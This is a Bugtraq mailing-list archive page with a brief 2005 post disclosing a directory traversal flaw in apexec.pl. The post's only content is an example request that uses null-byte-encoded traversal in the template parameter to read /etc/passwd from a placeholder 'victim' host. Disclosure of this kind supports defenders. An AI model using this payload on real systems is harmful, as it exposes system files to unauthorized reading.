<<< Date Index >>> <<< Thread Index >>>

Directoy Traversal Attack in apexec.pl (.%00./-Bug)

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Directoy Traversal Attack in apexec.pl (.%00./-Bug)
From: <msdarkflyer@xxxxxxxxxxxxx>
Date: 19 Apr 2005 12:57:48 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm


Example:

www.victim.com/cgi-bin/apexec.pl?template=.%00./.%00./.%00./.%00./.%00./.%00./etc/passwd%%0000.html

Greetz MSDarkflyer
--

Prev by Date: Re: cpio TOCTOU file-permissions vulnerability
Next by Date: RE: ERNW Security Advisory 01/2005 [ EXPLOIT ]
Previous by thread: [SECURITY] [DSA 711-1] New info2www packages fix cross-site scripting vulnerability
Next by thread: RE: ERNW Security Advisory 01/2005 [ EXPLOIT ]
Index(es):
- Date
- Thread